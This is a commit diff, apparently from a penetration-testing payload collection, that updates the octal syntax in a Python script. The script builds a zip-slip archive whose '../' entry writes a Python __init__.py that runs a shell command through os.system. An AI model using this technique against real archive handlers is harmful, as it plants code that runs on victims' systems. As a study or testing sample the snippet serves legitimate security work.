Merge pull request #22 from cclauss/patch-1
Use octal numbers that work in both Python 2 and 3patch-1
commit
011baa7321
|
@ -15,5 +15,5 @@ for d in directories:
|
|||
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
|
||||
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
|
||||
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
|
||||
z_info.external_attr = 0777 << 16L
|
||||
z_info.external_attr = 0o777 << 16
|
||||
z_file.close()
|
||||
|
|
Loading…
Reference in New Issue